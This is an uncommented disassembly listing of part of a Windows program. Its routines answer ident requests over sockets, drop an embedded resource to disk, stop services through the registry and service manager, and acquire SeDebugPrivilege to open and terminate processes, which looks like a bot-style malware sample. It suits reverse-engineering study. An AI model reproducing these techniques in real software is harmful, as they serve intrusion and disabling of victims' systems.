var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8E99, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44927B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8E99, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi
		cdq
		mov	ecx, 3
		push	offset byte_448F30
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	near ptr byte_5FC011
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 284020Fh
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		call	near ptr 291085Ah
		nop
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		call	near ptr 29104D5h
		nop
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 291085Ah


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2910000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2891B6Eh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		call	near ptr 27A06AAh
		nop
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27A0AC6h
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 27A0DA2h
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0F3E85150h, 90778260h, 8508C483h
		dd 500D75C0h, 0A7E89056h, 0C602370Bh, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2840A54h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 2950231h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 2900000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444ADC ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0BFE850FFh, 90023C0Ah, 14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920B77h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28C0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		nop
		call	near ptr 2930401h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 2790C7Fh
		nop
		push	eax
		nop
		call	near ptr 28E1560h
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2790CCDh
		push	eax
		nop
		call	near ptr 28E1BA5h
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28F0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		call	near ptr 27C085Dh
		nop
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 2790D12h
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2891B6Eh
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27E0977h
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2840A54h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
